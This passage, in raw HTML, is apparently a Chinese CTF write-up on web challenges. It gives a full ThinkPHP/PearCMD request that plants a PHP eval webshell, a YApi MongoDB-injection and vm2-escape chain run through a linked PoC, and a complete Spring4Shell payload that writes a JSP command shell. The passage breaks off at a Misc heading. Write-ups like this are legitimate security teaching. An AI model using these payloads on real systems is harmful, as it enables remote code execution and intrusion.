0px;line-height: 1.75em;"><span data-type="text" style="font-size:15px;">所以进入题目便可以看到，当前的 ThinkPHP 版本为 6.0.12 正好位于漏洞版本范围内，所以我们便可以进行任意文件包含。结合题目描述里面给出的信息，整个 ThinkPHP 是使用Docker进行部署的，所以我们可以使用: </span><span style="font-size: 15px;color: rgb(77, 189, 199);"><a href="https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html" target="_blank">https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html</a> </span><span data-type="text" style="font-size:15px;">这个技巧, 利用 PearCMD 来最终实现RCE。</span></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span data-type="text" style="font-size:15px;"><br/></span></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span data-type="text" style="font-size:15px;">首先我们发送第一个包，用来创建一个 Webshell 在<span style="background-color: rgb(166, 166, 166);"> /tmp/1.php</span>:</span></p><p style="margin-bottom: 0px;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer">GET /?+config-create+/&amp;lang=../../../../../../../../../../usr/local/lib/php/pearcmd&amp;/&lt;?=@eval($_POST[a]);?&gt;+/tmp/1.php HTTP/1.1</span></code><code><span class="code-snippet_outer">Host: localhost:8888</span></code><code><span class="code-snippet_outer">Accept-Encoding: gzip, deflate</span></code><code><span class="code-snippet_outer">Accept: */*</span></code><code><span class="code-snippet_outer">Accept-Language: en-US;q=0.9,en;q=0.8</span></code><code><span class="code-snippet_outer">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36</span></code><code><span class="code-snippet_outer">Connection: close</span></code><code><span class="code-snippet_outer">Cache-Control: max-age=0</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><section style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span data-type="text" style="font-size:15px;">此时在<span style="background-color: rgb(166, 166, 166);"> /tmp/1.php </span>中的内容就是<span style="background-color: rgb(166, 166, 166);"> &lt;?=@eval($_POST[a]);?&gt;</span>。我们之后只需要使用Webshell 管理工具连接如下地址即可。</span></section><section style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span style="font-size: 15px;caret-color: red;color: rgb(77, 189, 199);"><a href="http://your-ip:8888/?&amp;lang=../../../../../../../../../../../tmp/1" target="_blank">http://your-ip:8888/?&amp;lang=../../../../../../../../../../../tmp/1</a></span></section><section style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span data-type="text" style="font-size:15px;"><br/></span></section><section style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span data-type="text" style="font-size:15px;">最后执行<span style="background-color: rgb(166, 166, 166);"> /readflag </span>获取 Flag</span></section><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><section data-role="title" data-tools="135编辑器" data-id="93408" data-color="#7ac259"><section style="display:flex;justify-content: center;align-items: center;margin:10px auto;"><section data-brushtype="text" style="border-left: 5px solid rgb(122, 194, 89);padding-right: 5px;padding-left: 5px;box-sizing: border-box;">Yummy Api</section><section class="js_darkmode__10446" style="overflow:hidden;height:1px;background:#7ac259;flex:1;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br/></section><section class="js_darkmode__10447" style="box-sizing:border-box;overflow:hidden;height:6px;background:#7ac259;width:6px;border-radius:100%;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"/></section></section></section><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span data-type="text" style="font-size:15px;">这题考察的是 Yapi 通过页面信息我们可以得到当前 Yapi 的版本为 v1.10.2。在这个版本中我们可以进行如下操作最终实现 RCE，获取 Flag。</span></p><section data-role="list"><ol style="padding-left: 30px;" class="list-paddingleft-1"><li><p style="margin-top: 10px;line-height: 1.75em;"><span data-type="text" style="font-size:15px;">使用 Mongodb 注入拿到用户项目的 Token ，这一步需要爆破。</span></p></li><li><p style="margin-top: 10px;line-height: 1.75em;"><span data-type="text" style="font-size:15px;">在默认情况下利用这个使用</span><span data-type="text" style="font-size: 15px;background-color: rgb(166, 166, 166);"> aes192 </span><span data-type="text" style="font-size:15px;">加密 token，这样我们可以调用项目的任意功能,。</span></p></li><li><p style="margin-top: 10px;line-height: 1.75em;"><span data-type="text" style="font-size:15px;">然后通过调用项目的</span><span data-type="text" style="font-size: 15px;background-color: rgb(166, 166, 166);"> pre-script </span><span data-type="text" style="font-size:15px;">功能，上传 vm2 的逃逸脚本实现 RCE。</span></p></li></ol></section><p style="text-align: left;margin-bottom: 0px;"><br/></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span style="font-size: 15px;">具体的漏洞分析文章可以参考: </span></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(77, 189, 199);"><a href="https://www.anquanke.com/post/id/283779 " target="_blank">https://www.anquanke.com/post/id/283779 </a></span></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span style="font-size: 15px;"><br/></span></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span style="font-size: 15px;">当然也可以找到一键利用的脚本:</span></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(77, 189, 199);"><a href="https://raw.githubusercontent.com/vulhub/vulhub/e186e1817786817b484f4f196510478c57ac7ee3/yapi/mongodb-inj/poc.py" target="_blank">https://raw.githubusercontent.com/vulhub/vulhub/e186e1817786817b484f4f196510478c57ac7ee3/yapi/mongodb-inj/poc.py</a></span></p><p style="text-align: left;margin-bottom: 0px;"><br/></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span style="font-size: 15px;">使用这个脚本我们只需要执行，即可拿到 Flag</span></p><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">py -3 .\poc.py --debug one4all -u <a href="http://ip:9090/" target="_blank">http://ip:9090/</a> -c &#34;/readflag&#34;</span></code></pre></section><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><section data-role="title" data-tools="135编辑器" data-id="93408" data-color="#7ac259"><section style="display:flex;justify-content: center;align-items: center;margin:10px auto;"><section data-brushtype="text" style="border-left: 5px solid rgb(122, 194, 89);padding-right: 5px;padding-left: 5px;box-sizing: border-box;">Spring4Shell</section><section class="js_darkmode__10492" style="overflow:hidden;height:1px;background:#7ac259;flex:1;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br/></section><section class="js_darkmode__10493" style="box-sizing:border-box;overflow:hidden;height:6px;background:#7ac259;width:6px;border-radius:100%;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"/></section></section></section><p><br/></p><p style="line-height:1.75em;"><span style="font-size:15px;">该题主要结合 git 泄漏与2022年 top2 漏洞—— Spring4shell 相关背景。</span></p><p style="line-height:1.75em;"><br/></p><p style="line-height:1.75em;"><strong><span style="font-size: 15px;color: rgb(75, 183, 82);">解题思路一：</span></strong></p><p style="line-height:1.75em;"><br/></p><p style="line-height:1.75em;"><span style="font-size:15px;">可以发现<span style="background-color: rgb(166, 166, 166);"> .git </span>泄漏配置文件，导致 web 路径泄漏。</span></p><p style="line-height:1.75em;"><br/></p><p style="line-height: 1.75em;text-align: left;"><span style="font-size:15px;">可使用工具：</span></p><p style="line-height:1.75em;"><span style="font-size: 15px;color: rgb(77, 189, 199);"><a href="https://github.com/gakki429/Git_Extract.git" target="_blank">https://github.com/gakki429/Git_Extract.git</a></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">$ python git_extract.py <a href="http://47.98.216.107:31584/.git/" target="_blank">http://47.98.216.107:31584/.git/</a></span></code></pre></section><p style="line-height:1.75em;"><br/></p><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq4twm46555x01nsvl&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;查看web路径：&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3E0dHdtNDY1NTV4MDFuc3ZsJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU2JTlGJUE1JUU3JTlDJThCd2ViJUU4JUI3JUFGJUU1JUJFJTg0JUVGJUJDJTlBJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><p><span style="font-size: 15px;">查看 web 路径：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">$ cat 47.98.216.107_31584/server.xml|grep appBase</span></code><code><span class="code-snippet_outer">&lt;Host name=&#34;XXXX&#34;  appBase=&#34;chaitin&#34;</span></code></pre></section><section style="line-height: 1.75em;"><br/></section><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq4w0o9kswf7pa8mvk&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;Spring4shell EXP：&#34;]]],[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq4y3h9lirv35jod5i&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;可使用:&#34;]],[&#34;a&#34;,{&#34;href&#34;:&#34;https://github.com/reznok/Spring4Shell-POC&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;https://github.com/reznok/Spring4Shell-POC&#34;]]],[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;.需要手动指定web路径&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3E0dzBvOWtzd2Y3cGE4bXZrJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyU3ByaW5nNHNoZWxsJTIwRVhQJUVGJUJDJTlBJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlMjJ1dWlkJTIyJTNBJTIybGNxNHkzaDlsaXJ2MzVqb2Q1aSUyMiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiVFNSU4RiVBRiVFNCVCRCVCRiVFNyU5NCVBOCUzQSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJpbmxpbmUlMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGluayUyMiUyQyUyMmRhdGElMjIlM0ElN0IlMjJocmVmJTIyJTNBJTIyaHR0cHMlM0ElMkYlMkZnaXRodWIuY29tJTJGcmV6bm9rJTJGU3ByaW5nNFNoZWxsLVBPQyUyMiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRnJlem5vayUyRlNwcmluZzRTaGVsbC1QT0MlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIuJUU5JTlDJTgwJUU4JUE2JTgxJUU2JTg5JThCJUU1JThBJUE4JUU2JThDJTg3JUU1JUFFJTlBd2ViJUU4JUI3JUFGJUU1JUJFJTg0JTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">Spring4shell EXP：</span></section><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">可使用:</span><span style="font-size: 15px;color: rgb(77, 189, 199);"><a href="https://github.com/reznok/Spring4Shell-POC." target="_blank">https://github.com/reznok/Spring4Shell-POC.</a></span><span style="font-size: 15px;">需要手动指定 web 路径</span></section></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">python exploit.py --url <a href="http://47.98.216.107:31584/" target="_blank">http://47.98.216.107:31584/</a> --dir chaitin/ROOT</span></code></pre></section><p><br/></p><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq4wnxwrcr4naoapke&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;bold&#34;:true,&#34;data-type&#34;:&#34;leaf&#34;},&#34;解题思路二：&#34;]]],[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq4ztwg14k7qubunt4&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;修改appBase，不需要获取web路径，此payload不常见，github上检索不到。&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3E0d254d3JjcjRuYW9hcGtlJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU4JUE3JUEzJUU5JUEyJTk4JUU2JTgwJTlEJUU4JUI3JUFGJUU0JUJBJThDJUVGJUJDJTlBJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlMjJ1dWlkJTIyJTNBJTIybGNxNHp0d2cxNGs3cXVidW50NCUyMiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiVFNCVCRiVBRSVFNiU5NCVCOWFwcEJhc2UlRUYlQkMlOEMlRTQlQjglOEQlRTklOUMlODAlRTglQTYlODElRTglOEUlQjclRTUlOEYlOTZ3ZWIlRTglQjclQUYlRTUlQkUlODQlRUYlQkMlOEMlRTYlQUQlQTRwYXlsb2FkJUU0JUI4JThEJUU1JUI4JUI4JUU4JUE3JTgxJUVGJUJDJThDZ2l0aHViJUU0JUI4JThBJUU2JUEzJTgwJUU3JUI0JUEyJUU0JUI4JThEJUU1JTg4JUIwJUUzJTgwJTgyJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><section style="line-height: 1.75em;"><strong><span style="font-size: 15px;color: rgb(75, 183, 82);">解题思路二：</span></strong></section><section style="line-height: 1.75em;"><br/></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">修改 appBase，不需要获取 web 路径，此 payload 不常见，github 上检索不到。</span></section></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer">payload：class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&amp;class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&amp;class.module.classLoader.resources.context.parent.pipeline.first.directory=/tmp&amp;class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&amp;class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&amp;class.module.classLoader.resources.context.parent.appBase=/</span></code></pre></section><p><br/></p></article><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq518dhzez7dxddm6c&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;webshell写入路径：&#34;],[&#34;span&#34;,{&#34;inlineCode&#34;:true,&#34;data-type&#34;:&#34;leaf&#34;},&#34;/tmp/shell.jsp&#34;]]],[&#34;p&#34;,{&#34;spacing&#34;:{},&#34;uuid&#34;:&#34;lcq554deprj06sq80x9&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;访问webshell：&#34;]],[&#34;a&#34;,{&#34;href&#34;:&#34;http://47.98.216.107:31584/&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;http://47.98.216.107:31584&#34;]]],[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;/tmp/shell.jsp?cmd=id&#34;]]],[&#34;p&#34;,{&#34;spacing&#34;:{},&#34;uuid&#34;:&#34;lcq56trksigoye1v4r8&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;读取flag&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3E1MThkaHplejdkeGRkbTZjJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyd2Vic2hlbGwlRTUlODYlOTklRTUlODUlQTUlRTglQjclQUYlRTUlQkUlODQlRUYlQkMlOUElMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMkZ0bXAlMkZzaGVsbC5qc3AlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJpbmxpbmVDb2RlJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnNwYWNpbmclMjIlM0ElN0IlN0QlMkMlMjJ1dWlkJTIyJTNBJTIybGNxNTU0ZGVwcmowNnNxODB4OSUyMiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiVFOCVBRSVCRiVFOSU5NyVBRXdlYnNoZWxsJUVGJUJDJTlBJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmlubGluZSUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaW5rJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMmhyZWYlMjIlM0ElMjJodHRwJTNBJTJGJTJGNDcuOTguMjE2LjEwNyUzQTMxNTg0JTJGJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyaHR0cCUzQSUyRiUyRjQ3Ljk4LjIxNi4xMDclM0EzMTU4NCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyRnRtcCUyRnNoZWxsLmpzcCUzRmNtZCUzRGlkJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlMjJzcGFjaW5nJTIyJTNBJTdCJTdEJTJDJTIydXVpZCUyMiUzQSUyMmxjcTU2dHJrc2lnb3llMXY0cjglMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRTglQUYlQkIlRTUlOEYlOTZmbGFnJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><section style="line-height: 1.75em;"><span style="font-size: 15px;">webshell 写入路径：</span><span style="font-size: 15px;background-color: rgb(166, 166, 166);">/tmp/shell.jsp</span></section><section style="line-height: 1.75em;"><br/></section><section style="line-height: 1.75em;text-align: left;"><span style="font-size: 15px;">访问 webshell：</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;color: rgb(77, 189, 199);"><a href="http://47.98.216.107:31584/tmp/shell.jsp?cmd=id" target="_blank">http://47.98.216.107:31584/tmp/shell.jsp?cmd=id</a></span></section><section style="line-height: 1.75em;"><br/></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">读取 flag</span></section></article><p><br/></p><p><br/></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="93744" data-color="#7ac259"><section style="text-align: center;padding-top: 1em;padding-bottom: 1em;box-sizing: border-box;"><section><section style="display: inline-block;"><section style="display:flex;justify-content: center;align-items: flex-end;"><section style="box-sizing:border-box;width: 4px;height: 32px;background: #7ac259;border-top-left-radius: 2px;border-bottom-left-radius: 2px;overflow: hidden;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__10563"><br/></section><section style="border-bottom: 4px solid #7ac259;box-sizing: border-box;"><section style="padding: 5px 1.4em;background: rgb(255, 255, 255);border-width: 1px;border-style: dashed;border-color: rgb(51, 51, 51);letter-spacing: 2px;transform: rotate(0deg);" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" class="js_darkmode__10564"><section data-brushtype="text" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)"><span style="font-size:24px;" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)"><strong data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)">Misc</strong></span></section></section></section><section style="box-sizing:border-box;width: 4px;height: 32px;background: #7ac259;border-top-right-radius: 2px;border-bottom-right-radius: 2px;overflow: hidden;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__10565"><br/></section></section></section></section></section></section><p style="line-height:1.75em;"><span style="font-size:15px;"><br/></span></p><section data-role="title" data-tools="135编辑器" data-id="93368" data-color="#7ac259"><section style="margin-top: 10px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;"><section style="padding-top: 0.65em;box-sizing: border-box;"><section style="width: 100%;height: 1px;background-color: rgb(122, 194, 89);box-sizing: border-box;overflow: hidden;" data-width="100%" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__10628"><br/></section><section style="margin-top: -0.65em;box-sizing: border-box;"><section style="display: inline-block;vertical-align: top;height: 1.3em;line-height: 1.3em;padding-top: 1px;padding-right: 8px;padding-left: 8px;border-left: 3px solid #7ac259;border-right: 3px solid #7ac259;background-color: #ffffff;border-top-color: 